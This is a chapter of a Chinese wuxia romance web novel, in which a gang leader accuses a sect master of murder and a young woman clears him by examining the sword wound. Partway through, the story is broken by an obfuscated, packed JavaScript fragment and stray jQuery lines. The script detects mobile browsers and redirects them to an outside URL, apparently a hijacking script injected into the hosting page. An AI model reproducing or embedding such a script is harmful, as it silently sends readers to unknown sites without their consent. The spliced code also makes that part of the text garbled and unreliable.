似清辞嚼着虾瞪大了眼睛,秦逸看她的表情好笑:“一会吃完虾,再让厨子做一锅海鲜粥。”
正当二人吃着饭楼下突然传来喧闹声。
“秦逸出来!我知道你在楼上!”
秦逸冷了脸:“哪个不要命的。”
就见来人是一个邋里邋遢的壮汉,留着络腮胡子皮肤黝黑,穿着粗布衣裳,似乎是漕帮的人,此刻正站在楼下叫嚣着。
“哟,这不是漕帮的二当家高兴虎吗?怎么有空来我这观海楼了?”陆海皮笑肉不笑地看着高兴虎。
“少废话,让秦逸出……啊!”高兴虎话还没说完就被陆海一脚踹了出去。
“什么东西,敢在我观海楼撒野,要见阁主让你们漕帮大掌柜亲自来!”
似清辞趴着三楼窗户往下看,只见高兴虎狼狈地从地上爬起来,冲着楼上大喊:“秦逸你给爷爷出来,五年前的账还没算完呢!”
似清辞看着一旁悠然啃螃蟹腿的秦逸:“你欠他钱了?”
秦逸:“我需要找他借钱?”
似清辞想想也是,怎么看秦逸都比他有钱。
“秦逸别当缩头乌龟,快出来!”高兴虎的声音吸引了不少围观的人。
“这是谁啊?”
“这不漕帮的二当家高兴虎吗?”
“这秦逸又是谁啊?”
“秦逸你都不知道,孤影阁阁主啊,上届武林大会胜者。”
“这是怎么?高兴虎和秦逸有过节?”
“谁知道呢,看看热闹先。”
楼下议论纷纷。
似清辞趴在窗户上对高兴虎说道:“你找秦逸干什么呀?”
软糯的声音带着点鼻音,高兴虎抬头看去,只见一位肤色雪白的少女正看着自己,少女脱俗绝尘,眼波流动如秋水,高兴虎一时看呆了,他从未见过如此漂亮的少女。
“我找他……有事,你……你是什么人?”高兴虎没了刚刚的嚣张气焰,说话都有些结巴。
“我是秦逸朋友,你找他有什么事?”
“我找他报仇!他五年前杀了我兄弟。”
似清辞转头对秦逸说道:“找你寻仇来的。”
秦逸擦了擦手来到窗边:“你兄弟叫什么?”
高兴虎看到秦逸出面,立刻有了底气:“我兄弟名叫高兴龙,五年前在堪州,他死在了你手里。”
“堪州……你是说那个杀害六名女子的采花贼啊,是我杀的怎么了?你要帮他报仇可以,只不过以你的功夫回去再练个百八十年吧。”秦逸说完挥挥手关上了窗户。
楼下的高兴虎不想轻易罢休,但是围观的群众却开始纷纷指责他。
“他就是高兴龙的弟弟?我听说高兴龙之前残害了不少女子,是个心狠手辣的恶徒。”
“有这种事?那秦盟主也算替天行道了!”
“我说高兴虎,你兄弟死有余辜,你这报的哪门子仇。”
“就是就是,赶紧回家去吧!”
高兴虎一时拉不下脸,放了几句狠话才肯离开。
“你竟然不生气?”似清辞看着秦逸面色如常有些惊讶。:“他骂你缩头乌龟耶。”
秦逸挑挑眉:“虽然高兴龙作恶多端,但是高兴虎没做过什么恶事,我杀了他兄弟也是事实,倘若他要帮他兄弟报仇,那也无可厚非。”
似清辞眨眨眼:“没想到秦盟主还挺讲道理的嘛。”
“那是!”
“秦乌龟。”似清辞笑眯眯地对着秦逸吐舌头。
“嘿!你这小孩胆子肥了!”秦逸作势挽袖子要抓似清辞,似清辞早有准备,立刻躲到了花盆后面,露出半个脑袋。
秦逸咧嘴笑道:“快来喝粥,一会凉了。”
似清辞这才坐下,拿起勺子喝粥。
似清辞了解秦逸,秦逸武功高超,但是不喜欢杀戮,即使是十恶不赦之人死于他之手,他心里也会不舒服,似清辞见秦逸又恢复了平日里懒洋洋的样子才放心下来。
秦逸看着少女,他知道似清辞是想哄自己开心,自家的小孩越看越顺眼,怎么这么可爱善良呢!
吃完饭,闲来无事,秦逸突然提议道:“小孩,你不是擅长占卜之术吗?帮我看算算命如何?”
似清辞点点头:“你要算哪方面的?”
秦逸思索了片刻,看着似清辞说道:“那就算算姻缘。”
似清辞拿出三枚铜钱递给秦逸:“想心中所想,然后将铜钱抛出。”
秦逸照做,三枚铜钱落在桌上…
似清辞看着三枚铜钱摸着下巴说道:“纯阳卦,这是满江红哦,千帆皆过尽,桃花顺水流,你要走桃花运了,运势大好!”
秦逸摸了摸下巴,看着面前的少女,运势大好吗?运势确实大好!
第二日凌晨似清辞就被楼下喧闹声吵醒。
似清辞打开窗户,发现外面天还没亮,就见楼下一群人举着火把将观海楼团团围住。
“发生什么事了?”似清辞打开门。
似清辞刚走出房门,一件披风就盖在了她的身上。
“早上天气凉。”秦逸细心地给她系好披风。
似清辞伸长了脑袋:“外面怎么那么吵?”
陆海也听到了动静,睡眼惺忪地从楼上下来,衣服松松垮垮地穿在身上,显然是匆忙下楼的样子。
店里伙计打开了一楼的大门,就见一个高大男子一把推开他:“秦逸你好狠毒的心,竟然杀了我二弟。”
“你二弟是哪位?”
“我二弟是高兴虎,刚刚发现死在了房中,被一击毙命显然是糕手所为,我二弟在澜溪镇没有什么仇人,除了你,下午刚来找过你,晚上就死了,凶手除了你还有谁?”
来人是漕帮的大掌柜宋礼山,在江湖上也是小有名气。
“哦?下午高兴虎来我观海楼闹事之时还好端端的,怎么回到你漕帮就死了,怕不是你们漕帮在外面惹事遭人报复,想要栽赃到孤影阁身上。”陆海冷笑道。
“哼,没有证据我会来此?我二弟是死于孤影剑法,偌大江湖孤影剑法使用者只亲盟主一人,我二弟下午又刚好与亲盟主起了冲突,世上哪有这么巧的事情?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341267|199337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你说是孤影剑法就是孤影剑法,你那两眼珠子算的清楚账嘛?”陆海还想争辩一二,却被秦逸拦住:“你说高兴虎是死于孤影剑法?”
“正是!”宋礼山说道。
“那我们就去看看他的尸体。”似清辞突然开口道:“人会说谎,尸体却不会,是不是死于孤影剑法,一验便知。”
漕帮据点在澜溪镇不远处的沿海码头,高兴虎的身体已经被放在了大堂里。
似清辞走过去掀开白布,果然是下午见过的高兴虎。
“你个女子是什么人?”一旁的宋礼山手下想要上前阻拦。
“站回去。”一双回眸不含笑意盯着自己,手下发现自己的身体竟然在颤抖。
似清辞看着尸体上的剑伤:“确实是一击毙命。”
伤口狭窄而深,与秦逸的孤影剑形状吻合,看来凶手很是对秦逸很了解。
“如何?”宋礼山开口问道。
“伤口确实符合孤影剑的形状……”
“你们自己人都这么说了,亲盟主还有什么好说的?”宋礼山闻言说道:“认识秦盟主的都知道,秦盟主的孤影剑,剑头形状独一无二,而我二弟的伤口正与此剑形状吻合。”
“不过……”
“不过什么?”
“不过倘若真是秦逸做的,他杀高兴虎还需要拔剑吗?”似清辞疑惑地问出声,本是嚣张无比的话语,但是少女问的真诚,特别是一双眼睛,里面只有疑惑不见半分狂傲,像是发自内心提出的问题:“以高兴虎的武功,秦逸想要杀他根本不需要拔剑吧,还留下这么明显的伤口,不是把人是我杀的写在脸上了?难道说秦逸在你们看来很笨?”
扑哧……一旁的陆海忍不住笑出了声,看着宋礼山难看的表情,陆海忍笑忍得很辛苦,自己家盟主到底在哪找的小神仙,这么有趣!
秦逸换了个坐姿翘起二郎腿,嘴角勾起。
宋礼山转口说道:“哼!若是秦盟主早就想到如今的场面,以此来抗辩……”
“不可能哦!”少女的声音又想起,转头看向宋礼山:“大当家武功也不错,可否看看这伤口的位置形状,伤口右宽左窄,凶手是右手出剑还是左手出剑?”
“当然是右手了!”宋礼山身后的人开口说道:“秦逸不就是右手持剑……”
只见秦逸左手拔出了孤影剑,众人这才发现他背在身后的右手上缠着一个白色的纱布,上面还系着一个蝴蝶结。
原来下午的时候秦逸和似清辞开珍珠蚌的时候不小心划伤了手,似清辞给他涂了金疮药包扎。
“那……那也不能说明秦逸不能用右手杀人啊。”
陆海冷笑一声:“秦盟主本就是左利手,因为用左手拿刀开珍珠蚌才划伤了右手。”
“那万一他想洗脱嫌疑才用的右手……”宋礼山声音减弱。
“那倒是稀奇了,我一边用右手持剑杀人洗脱嫌疑,一边又用我的孤影剑留下证据,我看上去脾气很好嘛?”秦逸不笑的时候,整个人都散发出了危险的气息。
一时间大堂内鸦雀无声。